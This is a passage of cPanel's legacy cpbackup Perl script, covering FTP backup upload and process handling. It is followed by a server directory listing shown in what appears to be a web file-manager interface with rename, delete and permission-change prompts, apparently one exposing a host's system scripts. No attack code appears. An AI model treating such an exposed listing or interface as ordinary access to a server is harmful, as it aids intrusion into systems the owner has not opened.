!$user_conf->{'LEGACY_BACKUP'}; if ( $CONF{'BACKUPINC'} eq 'yes' ) { my $last_update_time = time(); utime( $last_update_time, $last_update_time, "$target/$user" ); } if ( cpusystem( $pkgacct, ( $CONF{'COMPRESSACCTS'} eq 'no' ? '--nocompress' : () ), ( $CONF{'BACKUPINC'} eq "yes" ? '--incremental' : () ), $user, $target, 'backup' ) != 0 ) { print STDERR "[cpbackup] Failed to back up account $user\n"; $user_error_map{$user}{'account'} = { 'error_message' => ( $LAST_CPUSYSTEM_ERROR || 'Failed to backup account' ) # FIXME: This is a hack to avoid refactoring cpusystem }; } else { if ( $CONF{'BACKUPTYPE'} eq 'ftp' ) { my $target_file = ( $CONF{'COMPRESSACCTS'} eq 'no' ? "$user.tar" : "$user.tar.gz" ); foreach my $remote_target (@$all_targets) { # If we are going to update multiple targets we send the file multiple times # previously we would build the backup once for every target. Now we just upload it once # instead as we know all the targets before we get here now my %ftp_error_info = ftpsend( $remote_target, $target . '/' . $target_file, $target_file ); $user_error_map{$user}{'transport'}{$remote_target} = \%ftp_error_info if keys %ftp_error_info; } unlink( $target . '/' . $target_file ); } } } } return \%user_error_map; } sub ftpsend { my ( $targetdir, $targetfile, $remotefile ) = @_; my $ftpuser = $CONF{'BACKUPFTPUSER'}; my $ftppass = $CONF{'BACKUPFTPPASS'}; my $ftproot = $CONF{'BACKUPFTPDIR'}; my $ftphost = $CONF{'BACKUPFTPHOST'}; my $ftppassive = ( $CONF{'BACKUPFTPPASSIVE'} eq 'yes' ? 1 : 0 ); my $ftptimeout = $CONF{'BACKUPFTPTIMEOUT'} || 120; my @FD = split( /\//, $targetdir ); my $backtype = $FD[$#FD]; my $ftp = Net::FTP->new( $ftphost, Debug => 1, Passive => $ftppassive, Timeout => $ftptimeout ); unless ($ftp) { my $msg = 'Unable to connect to remote FTP server.'; my $localized_message = $locale->maketext('The system was unable to connect to the remote [asis,FTP] server.'); print "$msg\n"; $logger->info($msg); return ( 'error_message' => $localized_message ); } my $status = $ftp->login( $ftpuser, $ftppass ); if ( !$status ) { my $ftp_message = $ftp->message() || get_ftp_error($ftp); $ftp_message = Cpanel::StringFunc::Trim::ws_trim($ftp_message); $ftp->quit(); my $msg = 'Unable to log in to remote FTP server.'; my $localized_message = $locale->maketext( 'The system was unable to log in to the remote [asis,FTP] server due to an error: “[_1]”', $ftp_message ); print "$msg\n"; $logger->info($msg); return ( 'error_message' => $localized_message ); } $ftp->binary(); # if $ftproot is not defined by the user, default to cpbackup if ( $ftproot eq "" ) { $ftproot = 'cpbackup'; } $ftp->mkdir($ftproot); $ftp->mkdir("${ftproot}/${backtype}"); $ftp->cwd("${ftproot}/${backtype}"); $status = $ftp->put( $targetfile, $remotefile ); if ( !$status ) { my $ftp_message = $ftp->message() || get_ftp_error($ftp); $ftp_message = Cpanel::StringFunc::Trim::ws_trim($ftp_message); $ftp->quit(); my $msg = 'Unable to upload the backup to the remote FTP server.'; my $localized_message = $locale->maketext( 'The system was unable to upload the backup to the remote [asis,FTP] server due to an error: “[_1]”', $ftp_message ); print "$msg\n"; $logger->info($msg); return ( 'error_message' => $localized_message ); } $ftp->quit; return; } sub get_ftp_error { my ($ftp_obj) = @_; my $response = Cpanel::FtpUtils::ResponseCodes::get_response_text( $ftp_obj->code() ); return $response if $response; return $locale->maketext('An unknown error occurred.'); } #Returns the exit status of the given command, or -1 if the exec() failed. #NOTE: If the command died from a signal, this will falsely report success! # sub cpusystem { my ( $program, @args ) = @_; my $sigman; $LAST_CPUSYSTEM_ERROR = ''; # FIXME: This is a hack to avoid refactoring cpusystem my $ok; try { # before_exec is slow, avoid it local $ENV{'CPBACKUP'} = 1; Cpanel::CpuWatch::run( program => $program, args => \@args, stdout => \*STDOUT, stderr => \*STDERR, after_fork => sub { my ($child_pid) = @_; my $infanticide_cr = sub { Cpanel::Kill::Single::safekill_single_pid($child_pid); }; $sigman = $SIGNAL_MANAGER || Cpanel::SignalManager->new(); for my $sig ( $sigman->FATAL_SIGNALS() ) { $sigman->push( signal => $sig, name => 'infanticide', handler => $infanticide_cr, ); } }, ); $ok = 1; } catch { NONFATAL: { last NONFATAL if !try { $_->isa('Cpanel::Exception::ProcessFailed::Error') }; my $err_code = $_->get('error_code'); my ($base_program) = $program =~ m<.*/(.+)>; if ( $base_program eq 'gtar' || $base_program eq 'gnutar' ) { $base_program = 'tar'; } my $mod = "Cpanel::ExitValues::$base_program"; last NONFATAL if !$mod->can('error_is_nonfatal_for_cpanel'); if ( $mod->error_is_nonfatal_for_cpanel($err_code) ) { $ok = 1; my $errstr = $mod->number_to_string($err_code); #warn() would print a stack trace, which we don’t want. print STDERR "$program returned a non-fatal error code, $err_code ($errstr).\n"; } } if ( !$ok ) { $LAST_CPUSYSTEM_ERROR = Cpanel::Exception::get_string($_); # FIXME: This is a hack to avoid refactoring cpusystem warn "[cpbackup] " . Cpanel::Exception::get_string($_); } } finally { if ($SIGNAL_MANAGER) { for my $sig ( $sigman->FATAL_SIGNALS() ) { $sigman->delete( name => 'infanticide', signal => $sig ); } } }; return $ok ? 0 : 1; #Historical: 0 for success, 1 for failure. } sub _nonzero_status_is_ok { return 0; } sub setup_and_clean_logs { if ( !-d $logdir ) { unlink $logdir; mkdir $logdir, 0700; } else { chmod 0700, $logdir; } if ( opendir my $logdir_dh, $logdir ) { while ( my $file = readdir($logdir_dh) ) { if ( -f $logdir . '/' . $file && ( stat(_) )[9] < ( $now - ( 86400 * 10 ) ) ) { unlink $logdir . '/' . $file; } } closedir $logdir_dh; } else { die "Unable to read directory $logdir: $!"; } } sub die_if_not_mounted_check { if ( $CONF{'DIEIFNOTMOUNTED'} eq "yes" ) { my ( $ismounted, $mountline ) = Cpanel::BackupMount::backup_disk_is_mounted($basemount); if ( !$ismounted ) { if ( !-t STDIN ) { require Cpanel::iContact::Class::Backup::Failure; require Cpanel::Notify; Cpanel::Notify::notification_class( 'class' => 'Backup::Failure', 'application' => 'Backup::Failure', 'constructor_args' => [ 'origin' => 'Legacy cPanel Backup System', 'start_time' => $start_time, 'end_time' => time(), 'reason' => $locale->maketext( 'The system could not complete the backup because it could not mount “[_1]”.', $basemount ) ] ); } print STDERR "[cpbackup] Backup failed! $basemount is not mounted!\n"; exit 1; } else { print "[cpbackup] Mount found ($mountline)\n"; } } } sub exit_STDERR_log_and_notify { my ( $status, $subject, $reason ) = @_; print STDERR "[cpbackup] $status\n"; unlink('/var/cpanel/backups_need_to_run'); require Cpanel::Notify; my $app = 'Legacy cPanel Backup System'; Cpanel::Notify::notification_class( 'class' => 'Backup::Failure', 'application' => $app, 'interval' => 1, # Always notify 'priority' => 2, 'status' => $status, 'constructor_args' => [ 'origin' => $app, 'start_time' => $start_time, 'end_time' => time(), 'reason' => $reason, ], ); $logger->info($status); exit(1); } sub usage { my $prog = $0; $prog =~ s{^.+/(.+)$}{$1}; print <<EOF; $prog [options] This script will launch the cpanel daily backup process. Modifiers Flags: --force - will update the file without checking any conditions --weekly - force current day to treat weekly backup --monthly - force current day to treat weekly backup --debug - do not fork before launching ( devel mode ) --allow-override --help - dislay this help message and exit EOF exit; } 1;
New name for
Are you sure will delete
?
New date for
New perm for
Name
Type
Size
Permission
Last Modified
Actions
.
DIR
-
drwxr-xr-x
2025-10-26 11:00:34
..
DIR
-
drwx--x--x
2025-10-26 11:27:15
cpan_sandbox
DIR
-
drwxr-xr-x
2024-03-04 05:44:29
php_sandbox
DIR
-
drwxr-xr-x
2024-03-04 05:44:29
MirrorSearch_pingtest
text/x-perl
2.38 KB
-rwxr-xr-x
2024-03-04 05:44:29
activesync-invite-reply
text/x-perl
1.69 KB
-rwxr-xr-x
2024-03-04 05:44:29
add_dns
text/x-perl
2.36 KB
-rwxr-xr-x
2024-03-04 05:44:29
adddns
text/x-perl
2.36 KB
-rwxr-xr-x
2024-03-04 05:44:29
addpop
text/x-perl
6.08 KB
-rwxr-xr-x
2024-03-04 05:44:29
addsystemuser
text/x-perl
3.27 KB
-rwxr-xr-x
2024-03-04 05:44:29
adduser
text/x-perl
92 B
-rwxr-xr-x
2024-03-04 05:44:29
agent360.sh
16.03 KB
-rwx------
2025-09-17 09:17:37
apachelimits
text/x-perl
4.31 KB
-rwxr-xr-x
2024-03-04 05:44:29
archive_sync_zones
text/x-perl
3.05 KB
-rwxr-xr-x
2024-03-04 05:44:29
auto-adjust-mysql-limits
text/x-perl
1.81 KB
-rwxr-xr-x
2024-03-04 05:44:29
autorepair
text/x-perl
1.24 KB
-rwxr-xr-x
2024-03-04 05:44:29
backups_clean_metadata_for_missing_backups
text/x-perl
1.57 KB
-rwxr-xr-x
2024-03-04 05:44:29
backups_create_metadata
text/x-perl
15.75 KB
-rwxr-xr-x
2024-03-04 05:44:29
backups_list_user_files
text/x-perl
4.56 KB
-rwxr-xr-x
2024-03-04 05:44:29
balance_linked_node_quotas
text/x-perl
2.58 KB
-rwxr-xr-x
2024-03-04 05:44:29
biglogcheck
text/x-perl
1.69 KB
-rwxr-xr-x
2024-03-04 05:44:29
build_bandwidthdb_root_cache_in_background
text/x-perl
1.52 KB
-rwxr-xr-x
2024-03-04 05:44:29
build_cpnat
text/x-perl
3.41 KB
-rwxr-xr-x
2024-03-04 05:44:29
build_mail_sni
text/x-perl
3.87 KB
-rwxr-xr-x
2024-03-04 05:44:29
build_maxemails_config
text/x-perl
1.14 KB
-rwxr-xr-x
2024-03-04 05:44:29
builddovecotconf
text/x-perl
6.76 KB
-rwxr-xr-x
2024-03-04 05:44:29
buildeximconf
text/x-perl
7 KB
-rwxr-xr-x
2024-03-04 05:44:29
buildhttpdconf
text/x-perl
2.6 KB
-rwxr-xr-x
2024-03-04 05:44:29
buildpureftproot
text/x-perl
539 B
-rwxr-xr-x
2024-03-04 05:44:29
ccs-check
text/x-perl
4.91 KB
-rwxr-xr-x
2024-03-04 05:44:29
check_cpanel_pkgs
text/x-perl
10.75 KB
-rwxr-xr-x
2024-03-04 05:44:29
check_domain_tls_service_domains.pl
text/x-perl
6.68 KB
-rwxr-xr-x
2024-03-04 05:44:29
check_immutable_files
text/x-perl
5.49 KB
-rwxr-xr-x
2024-03-04 05:44:29
check_mail_spamassassin_compiledregexps_body_0
text/x-perl
187 B
-rwxr-xr-x
2024-03-04 05:44:29
check_maxmem_against_domains_count
text/x-perl
3.57 KB
-rwxr-xr-x
2024-03-04 05:44:29
check_mount_procfs
text/x-perl
2.02 KB
-rwxr-xr-x
2024-03-04 05:44:29
check_mysql
text/x-perl
5.56 KB
-rwxr-xr-x
2024-12-10 10:57:18
check_plugin_pkgs
text/x-perl
2.45 KB
-rwxr-xr-x
2024-03-04 05:44:29
check_security_advice_changes
text/x-perl
8.28 KB
-rwxr-xr-x
2024-03-04 05:44:29
check_unmonitored_enabled_services
text/x-perl
4.56 KB
-rwxr-xr-x
2024-03-04 05:44:29
check_unreliable_resolvers
text/x-perl
3.59 KB
-rwxr-xr-x
2024-03-04 05:44:29
check_users_my_cnf
text/x-perl
6.05 KB
-rwxr-xr-x
2024-03-04 05:44:29
check_valid_server_hostname
text/x-perl
7.66 KB
-rwxr-xr-x
2024-03-04 05:44:29
checkalldomainsmxs
text/x-perl
2.4 KB
-rwxr-xr-x
2024-03-04 05:44:29
checkbashshell
text/x-perl
1.18 KB
-rwxr-xr-x
2024-03-04 05:44:29
checkccompiler
text/x-perl
1.22 KB
-rwxr-xr-x
2024-03-04 05:44:29
checkexim.pl
text/x-perl
3.1 KB
-rwxr-xr-x
2024-03-04 05:44:29
checklink
text/x-perl
1.29 KB
-rwxr-xr-x
2024-03-04 05:44:29
checkusers
text/x-perl
856 B
-rwxr-xr-x
2024-03-04 05:44:29
chkpaths
text/x-perl
141 B
-rwxr-xr-x
2024-03-04 05:44:29
chpass
text/x-perl
416 B
-rwxr-xr-x
2024-03-04 05:44:29
ckillall
text/x-perl
1.11 KB
-rwxr-xr-x
2024-03-04 05:44:29
clean_dead_mailman_locks
text/x-perl
2.09 KB
-rwxr-xr-x
2024-03-04 05:44:29
clean_up_temp_wheel_users
text/x-perl
2.44 KB
-rwxr-xr-x
2024-03-04 05:44:29
clean_user_php_sessions
text/x-perl
4.76 KB
-rwxr-xr-x
2024-03-04 05:44:29
cleandns
text/x-perl
13.11 KB
-rwxr-xr-x
2024-03-04 05:44:29
cleandns8
text/x-perl
417 B
-rwxr-xr-x
2024-03-04 05:44:29
cleanmsglog
text/x-perl
735 B
-rwxr-xr-x
2024-03-04 05:44:29
cleanphpsessions
text/x-perl
932 B
-rwxr-xr-x
2024-03-04 05:44:29
cleanphpsessions.php
text/x-php
658 B
-rw-r--r--
2024-03-04 05:44:29
cleanquotas
text/x-perl
1.61 KB
-rwxr-xr-x
2024-03-04 05:44:29
cleansessions
text/x-perl
5.89 KB
-rwxr-xr-x
2024-03-04 05:44:29
cleanupinterchange
text/x-perl
2.64 KB
-rwxr-xr-x
2024-03-04 05:44:29
cleanupmysqlprivs
text/x-shellscript
773 B
-rwxr-xr-x
2025-02-24 10:57:16
clear_cpaddon_ui_caches
text/x-perl
1.27 KB
-rwxr-xr-x
2024-03-04 05:44:29
clear_orphaned_virtfs_mounts
text/x-perl
3.56 KB
-rwxr-xr-x
2024-03-04 05:44:29
comparecdb
text/x-perl
1.52 KB
-rwxr-xr-x
2024-03-04 05:44:29
compilers
text/x-perl
2.86 KB
-rwxr-xr-x
2024-03-04 05:44:29
compilerscheck
text/x-perl
999 B
-rwxr-xr-x
2024-03-04 05:44:29
configure_firewall_for_cpanel
text/x-perl
520 B
-rwxr-xr-x
2024-03-04 05:44:29
configure_rh_firewall_for_cpanel
text/x-perl
520 B
-rwxr-xr-x
2024-03-04 05:44:29
configure_rh_ipv6_firewall_for_cpanel
text/x-perl
520 B
-rwxr-xr-x
2024-03-04 05:44:29
convert2dovecot
text/x-perl
682 B
-rwxr-xr-x
2024-03-04 05:44:29
convert_accesshash_to_token
text/x-perl
4.07 KB
-rwxr-xr-x
2024-03-04 05:44:29
convert_and_migrate_from_legacy_backup
text/x-perl
1.97 KB
-rwxr-xr-x
2024-03-04 05:44:29
convert_maildir_to_mdbox
text/x-perl
1.66 KB
-rwxr-xr-x
2024-03-04 05:44:29
convert_mdbox_to_maildir
text/x-perl
1.66 KB
-rwxr-xr-x
2024-03-04 05:44:29
convert_roundcube_mysql2sqlite
text/x-perl
26.12 KB
-rwxr-xr-x
2025-03-20 10:57:16
convert_to_dovecot_delivery
text/x-perl
4.33 KB
-rwxr-xr-x
2024-03-04 05:44:29
convert_whmxfer_to_sqlite
text/x-perl
1.46 KB
-rwxr-xr-x
2024-03-04 05:44:29
copy_user_mail_as_root
text/x-perl
1.25 KB
-rwxr-xr-x
2024-03-04 05:44:29
copy_user_mail_as_user
text/x-perl
1.34 KB
-rwxr-xr-x
2024-03-04 05:44:29
cpaddonsup
text/x-perl
3.25 KB
-rwxr-xr-x
2024-03-04 05:44:29
cpan_config
text/x-perl
2.8 KB
-rwxr-xr-x
2024-03-04 05:44:29
cpanel_initial_install
text/x-perl
67.16 KB
-rwxr-xr-x
2025-08-07 10:57:42
cpanelsync
text/x-perl
28.31 KB
-rwxr-xr-x
2024-03-04 05:44:29
cpanelsync_postprocessor
text/x-perl
1.62 KB
-rwxr-xr-x
2024-03-04 05:44:29
cpanpingtest
text/x-perl
965 B
-rwxr-xr-x
2024-03-04 05:44:29
cpbackup
text/x-perl
44.79 KB
-rwxr-xr-x
2024-03-04 05:44:29
cpbackup_transport_file
text/x-perl
5.65 KB
-rwxr-xr-x
2024-03-04 05:44:29
cpdig
text/x-perl
2.09 KB
-rwxr-xr-x
2024-06-24 01:40:23
cpfetch
text/x-perl
1.23 KB
-rwxr-xr-x
2024-03-04 05:44:29
cphulkdblacklist
text/x-perl
433 B
-rwxr-xr-x
2024-03-04 05:44:29
cphulkdwhitelist
text/x-perl
1.3 KB
-rwxr-xr-x
2024-03-04 05:44:29
cpservice
text/x-perl
2.87 KB
-rwxr-xr-x
2024-03-04 05:44:29
cpuser_port_authority
text/x-perl
19.29 KB
-rwxr-xr-x
2024-03-04 05:44:29
cpuser_service_manager
text/x-perl
10.85 KB
-rwxr-xr-x
2024-03-04 05:44:29
createacct
27.78 MB
-rwx------
2025-10-16 10:57:28
custom_backup_destination.pl.sample
text/x-perl
5.06 KB
-rwxr-xr-x
2024-03-04 05:44:29
custom_backup_destination.pl.skeleton
text/x-perl
2.84 KB
-rwxr-xr-x
2024-03-04 05:44:29
dcpumon-wrapper
text/x-perl
850 B
-rwxr-xr-x
2024-03-04 05:44:29
delpop
text/x-perl
6.2 KB
-rwxr-xr-x
2024-03-04 05:44:29
detect_env_capabilities
text/x-perl
508 B
-rwxr-xr-x
2024-03-04 05:44:29
disable_prelink
text/x-perl
2.77 KB
-rwxr-xr-x
2024-03-04 05:44:29
disable_sqloptimizer
text/x-perl
1.49 KB
-rwxr-xr-x
2024-03-04 05:44:29
disablefileprotect
text/x-perl
2.19 KB
-rwxr-xr-x
2024-03-04 05:44:29
distro_changed_hook
text/x-perl
1.16 KB
-rwxr-xr-x
2024-03-04 05:44:29
dnscluster
text/x-perl
4.44 KB
-rwxr-xr-x
2024-03-04 05:44:29
dnsqueuecron
text/x-perl
1.29 KB
-rwxr-xr-x
2024-03-04 05:44:29
dnssec-cluster-keys
text/x-perl
3.75 KB
-rwxr-xr-x
2024-03-04 05:44:29
dovecot_maintenance
text/x-perl
7.66 KB
-rwxr-xr-x
2025-04-15 10:57:19
dovecot_set_defaults.pl
text/x-perl
984 B
-rwxr-xr-x
2024-03-04 05:44:29
dumpcdb
text/x-perl
866 B
-rwxr-xr-x
2024-03-04 05:44:29
dumpinodes
text/x-perl
687 B
-rwxr-xr-x
2024-03-04 05:44:29
dumpquotas
text/x-perl
616 B
-rwxr-xr-x
2024-03-04 05:44:29
dumpstor
text/x-perl
913 B
-rwxr-xr-x
2024-03-04 05:44:29
ea4_fresh_install
text/x-perl
2.64 KB
-rwxr-xr-x
2024-03-04 05:44:29
edit_cpanelsync_exclude_list
text/x-perl
2.58 KB
-rwxr-xr-x
2024-03-04 05:44:29
editquota
text/x-perl
3.43 KB
-rwxr-xr-x
2024-03-04 05:44:29
elevate-cpanel
386.27 KB
-rwx------
2025-10-26 11:00:34
email_archive_maintenance
text/x-perl
6.15 KB
-rwxr-xr-x
2024-03-04 05:44:29
email_hold_maintenance
text/x-perl
1.46 KB
-rwxr-xr-x
2024-03-04 05:44:29
enable_spf_dkim_globally
text/x-perl
8.83 KB
-rwxr-xr-x
2024-03-04 05:44:29
enable_sqloptimizer
text/x-perl
1.57 KB
-rwxr-xr-x
2024-03-04 05:44:29
enablefileprotect
text/x-perl
2.1 KB
-rwxr-xr-x
2024-03-04 05:44:29
ensure_autoenabled_features
3.01 MB
-rwx------
2025-10-16 10:57:38
ensure_conf_dir_crt_key
text/x-perl
4.82 KB
-rwxr-xr-x
2024-03-04 05:44:29
ensure_cpuser_file_ip
text/x-perl
2.55 KB
-rwxr-xr-x
2024-03-04 05:44:29
ensure_crontab_permissions
text/x-perl
1.08 KB
-rwxr-xr-x
2024-03-04 05:44:29
ensure_dovecot_memory_limits_meet_minimum
text/x-perl
3.13 KB
-rwxr-xr-x
2024-03-04 05:44:29
ensure_hostname_resolves
text/x-perl
2.51 KB
-rwxr-xr-x
2025-03-26 10:57:15
ensure_includes
text/x-perl
601 B
-rwxr-xr-x
2024-03-04 05:44:29
ensure_vhost_includes
text/x-perl
13.53 KB
-rwxr-xr-x
2024-03-04 05:44:29
exim_tidydb
text/x-perl
2.96 KB
-rwxr-xr-x
2024-03-04 05:44:29
eximconfgen
text/x-perl
1.32 KB
-rwxr-xr-x
2024-03-04 05:44:29
eximstats_spam_check
text/x-perl
867 B
-rwxr-xr-x
2024-03-04 05:44:29
expunge_expired_certificates_from_sslstorage
text/x-perl
3.56 KB
-rwxr-xr-x
2024-03-04 05:44:29
expunge_expired_pkgacct_sessions
text/x-perl
852 B
-rwxr-xr-x
2024-03-04 05:44:29
expunge_expired_transfer_sessions
text/x-perl
1.06 KB
-rwxr-xr-x
2024-03-04 05:44:29
fastmail
text/x-perl
5.16 KB
-rwxr-xr-x
2024-03-04 05:44:29
featuremod
text/x-perl
1.92 KB
-rwxr-xr-x
2024-03-04 05:44:29
fetchfile
text/x-perl
422 B
-rwxr-xr-x
2024-03-04 05:44:29
find_and_fix_rpm_issues
text/x-perl
6.99 KB
-rwxr-xr-x
2024-08-22 10:57:25
find_outdated_services
text/x-perl
6.06 KB
-rwxr-xr-x
2024-06-24 01:38:23
find_pids_with_inotify_watch_on_path
text/x-perl
3.66 KB
-rwxr-xr-x
2024-03-04 05:44:29
fix-cpanel-perl
text/x-perl
28.22 KB
-rwxr-xr-x
2025-10-16 10:57:36
fix-listen-on-localhost
text/x-perl
3.52 KB
-rwxr-xr-x
2024-03-04 05:44:29
fix-web-vhost-configuration
text/x-perl
6.15 KB
-rwxr-xr-x
2024-03-04 05:44:29
fix_addon_permissions
text/x-perl
7.69 KB
-rwxr-xr-x
2025-06-09 10:57:21
fix_dns_zone_ttls
text/x-perl
1.34 KB
-rwxr-xr-x
2024-03-04 05:44:29
fix_innodb_tables
text/x-perl
4.05 KB
-rwxr-xr-x
2024-03-04 05:44:29
fix_reseller_acls
text/x-perl
10.7 KB
-rwxr-xr-x
2025-06-09 10:57:31
fixetchosts
text/x-perl
4.32 KB
-rwxr-xr-x
2024-03-04 05:44:29
fixheaders
text/x-perl
572 B
-rwxr-xr-x
2024-03-04 05:44:29
fixmailinglistperms
text/x-perl
1008 B
-rwxr-xr-x
2024-03-04 05:44:29
fixmailman
text/x-perl
2.09 KB
-rwxr-xr-x
2024-03-04 05:44:29
fixnamedviews
text/x-perl
1.22 KB
-rwxr-xr-x
2024-03-04 05:44:29
fixndc
text/x-perl
413 B
-rwxr-xr-x
2024-03-04 05:44:29
fixquotas
text/x-perl
18.39 KB
-rwxr-xr-x
2024-08-22 10:57:29
fixrelayd
text/x-perl
1.74 KB
-rwxr-xr-x
2024-03-04 05:44:29
fixrndc
text/x-perl
16.39 KB
-rwxr-xr-x
2024-03-04 05:44:29
fixtar
text/x-perl
503 B
-rwxr-xr-x
2024-03-04 05:44:29
fixtlsversions
text/x-perl
4.7 KB
-rwxr-xr-x
2024-03-04 05:44:29
fixvaliases
text/x-perl
2 KB
-rwxr-xr-x
2024-03-04 05:44:29
fixwebalizer
text/x-perl
966 B
-rwxr-xr-x
2024-03-04 05:44:29
forcelocaldomain
text/x-perl
895 B
-rwxr-xr-x
2024-03-04 05:44:29
ftpfetch
text/x-perl
2.2 KB
-rwxr-xr-x
2024-03-04 05:44:29
ftpquotacheck
text/x-perl
8.31 KB
-rwxr-xr-x
2024-03-04 05:44:29
ftpsfetch
text/x-perl
2.36 KB
-rwxr-xr-x
2024-03-04 05:44:29
ftpupdate
text/x-perl
261 B
-rwxr-xr-x
2024-03-04 05:44:29
gather_update_log_stats
4.25 KB
-rwx------
2025-10-21 07:53:57
gather_update_logs_setupcrontab
5.45 KB
-rwx------
2025-10-21 07:53:57
gemwrapper
text/x-perl
1.74 KB
-rwxr-xr-x
2024-03-04 05:44:29
gencrt
text/x-perl
6.26 KB
-rwxr-xr-x
2024-03-04 05:44:29
generate_account_suspension_include
text/x-perl
5.7 KB
-rwxr-xr-x
2024-03-04 05:44:29
generate_google_drive_credentials
text/x-perl
1.11 KB
-rwxr-xr-x
2024-03-04 05:44:29
generate_google_drive_oauth_uri
text/x-perl
984 B
-rwxr-xr-x
2024-03-04 05:44:29
generate_maildirsize
text/x-perl
13.94 KB
-rwxr-xr-x
2024-03-04 05:44:29
gensysinfo
text/x-perl
1.16 KB
-rwxr-xr-x
2024-03-04 05:44:29
get_locale_from_legacy_name_info
text/x-perl
1.99 KB
-rwxr-xr-x
2024-03-04 05:44:29
getremotecpmove
text/x-perl
12.67 KB
-rwxr-xr-x
2024-03-04 05:44:29
grpck
text/x-perl
1.19 KB
-rwxr-xr-x
2024-03-04 05:44:29
hackcheck
text/x-perl
3.02 KB
-rwxr-xr-x
2024-03-04 05:44:29
hook
text/x-perl
1.45 KB
-rwxr-xr-x
2024-03-04 05:44:29
httpspamdetect
text/x-perl
2.66 KB
-rwxr-xr-x
2024-03-04 05:44:29
hulk-unban-ip
3.97 MB
-rwx------
2025-10-16 10:57:31
import_exim_data
text/x-perl
8.39 KB
-rwxr-xr-x
2024-03-04 05:44:29
increase_filesystem_limits
text/x-perl
891 B
-rwxr-xr-x
2024-03-04 05:44:29
initacls
text/x-perl
4.99 KB
-rwxr-xr-x
2024-03-04 05:44:29
initfpsuexec
text/x-shellscript
444 B
-rwxr-xr-x
2024-03-04 05:44:29
initialize_360monitoring
2.76 KB
-rwx------
2025-07-25 08:58:50
initquotas
text/x-perl
19.47 KB
-rwxr-xr-x
2025-06-09 10:57:26
initsuexec
text/x-perl
4.03 KB
-rwxr-xr-x
2024-03-04 05:44:29
install_cpanel_analytics
text/x-perl
1.93 KB
-rwxr-xr-x
2024-03-04 05:44:29
install_dovecot_fts
text/x-perl
1.57 KB
-rwxr-xr-x
2024-03-04 05:44:29
install_plugin
text/x-perl
2.8 KB
-rwxr-xr-x
2024-03-04 05:44:29
installpkg
text/x-perl
575 B
-rwxr-xr-x
2024-03-04 05:44:29
installpostgres
text/x-perl
6.46 KB
-rwxr-xr-x
2025-06-09 10:57:30
installsqlite3
text/x-perl
1.82 KB
-rwxr-xr-x
2024-03-04 05:44:29
ipcheck
text/x-perl
3.93 KB
-rwxr-xr-x
2024-03-04 05:44:29
ipusage
text/x-perl
7.45 KB
-rwxr-xr-x
2024-03-04 05:44:29
isdedicatedip
text/x-perl
602 B
-rwxr-xr-x
2024-03-04 05:44:29
jetbackup-check
text/x-perl
3.69 KB
-rwxr-xr-x
2024-03-04 05:44:29
killdns
text/x-perl
422 B
-rwxr-xr-x
2024-03-04 05:44:29
killdns-dnsadmin
text/x-perl
1.15 KB
-rwxr-xr-x
2024-03-04 05:44:29
killmysqluserprivs
text/x-perl
433 B
-rwxr-xr-x
2024-03-04 05:44:29
killmysqlwildcard
text/x-perl
1.15 KB
-rwxr-xr-x
2024-03-04 05:44:29
killpvhost
text/x-perl
853 B
-rwxr-xr-x
2024-03-04 05:44:29
killspamkeys
text/x-perl
937 B
-rwxr-xr-x
2024-03-04 05:44:29
link_3rdparty_binaries
text/x-perl
1.24 KB
-rwxr-xr-x
2024-03-04 05:44:29
linksubemailtomainacct
text/x-perl
3.17 KB
-rwxr-xr-x
2024-03-04 05:44:29
listcheck
text/x-perl
538 B
-rwxr-xr-x
2024-03-04 05:44:29
listsubdomains
text/x-perl
1.05 KB
-rwxr-xr-x
2024-03-04 05:44:29
litespeed-check
text/x-perl
3.86 KB
-rwxr-xr-x
2024-03-04 05:44:29
locale_export
text/x-perl
5.21 KB
-rwxr-xr-x
2025-04-15 10:57:21
locale_import
text/x-perl
4.35 KB
-rwxr-xr-x
2024-03-04 05:44:29
locale_info
text/x-perl
3.99 KB
-rwxr-xr-x
2024-03-04 05:44:29
logo.dat
text/plain
205 B
-rw-r--r--
2024-03-04 05:44:29
magicloader
text/x-perl
1.94 KB
-rwxr-xr-x
2024-03-04 05:44:29
maildir_converter
text/x-perl
6.08 KB
-rwxr-xr-x
2024-03-04 05:44:29
mailperm
text/x-perl
16.53 KB
-rwxr-xr-x
2024-03-04 05:44:29
mailscannerupdate
text/x-perl
2.42 KB
-rwxr-xr-x
2024-03-04 05:44:29
mainipcheck
text/x-perl
10 KB
-rwxr-xr-x
2024-03-04 05:44:29
maintenance
text/x-perl
46.22 KB
-rwxr-xr-x
2025-02-11 10:57:15
make_config
text/plain
407 B
-rw-r--r--
2024-03-04 05:44:29
make_hostname_unowned
text/x-perl
1.16 KB
-rwxr-xr-x
2024-03-04 05:44:29
manage_extra_marketing
12.41 KB
-rwx------
2025-08-26 09:44:38
manage_greylisting
text/x-perl
16.19 KB
-rwxr-xr-x
2024-03-04 05:44:29
manage_mysql_profiles
text/x-perl
16.33 KB
-rwxr-xr-x
2024-03-04 05:44:29
migrate_ccs_to_cpdavd
text/x-perl
47.06 KB
-rwxr-xr-x
2025-02-11 10:57:16
migrate_local_ini_to_php_ini
text/x-perl
7.41 KB
-rwxr-xr-x
2024-03-04 05:44:29
migrate_whmtheme_file_to_userdata
text/x-perl
2.95 KB
-rwxr-xr-x
2024-03-04 05:44:29
mkwwwacctconf
text/x-perl
2.33 KB
-rwxr-xr-x
2024-03-04 05:44:29
modify_accounts
text/x-perl
4.07 KB
-rwxr-xr-x
2025-04-15 10:57:26
modify_featurelist
9.2 KB
-rwx------
2025-08-26 09:44:38
modify_packages
text/x-perl
3.64 KB
-rwxr-xr-x
2025-04-15 10:57:21
modsec_vendor
text/x-perl
15.63 KB
-rwxr-xr-x
2024-03-04 05:44:29
mysqlconnectioncheck
text/x-perl
6.72 KB
-rwxr-xr-x
2024-08-22 10:57:40
mysqlpasswd
text/x-perl
4.14 KB
-rwxr-xr-x
2024-08-22 10:57:20
named.ca
text/plain
1.57 KB
-rw-r--r--
2024-03-04 05:44:29
named.rfc1912.zones
text/plain
774 B
-rw-r--r--
2024-03-04 05:44:29
notify_expiring_certificates
text/x-perl
9.37 KB
-rwxr-xr-x
2024-03-04 05:44:29
notify_expiring_certificates_on_linked_nodes
text/x-perl
1.33 KB
-rwxr-xr-x
2024-03-04 05:44:29
oopscheck
text/x-perl
1.12 KB
-rwxr-xr-x
2024-03-04 05:44:29
optimize_eximstats
text/x-perl
3.88 KB
-rwxr-xr-x
2024-03-04 05:44:29
patch_mail_spamassassin_compiledregexps_body_0
text/x-perl
2.39 KB
-rwxr-xr-x
2024-03-04 05:44:29
patchfdsetsize
text/x-perl
2.72 KB
-rwxr-xr-x
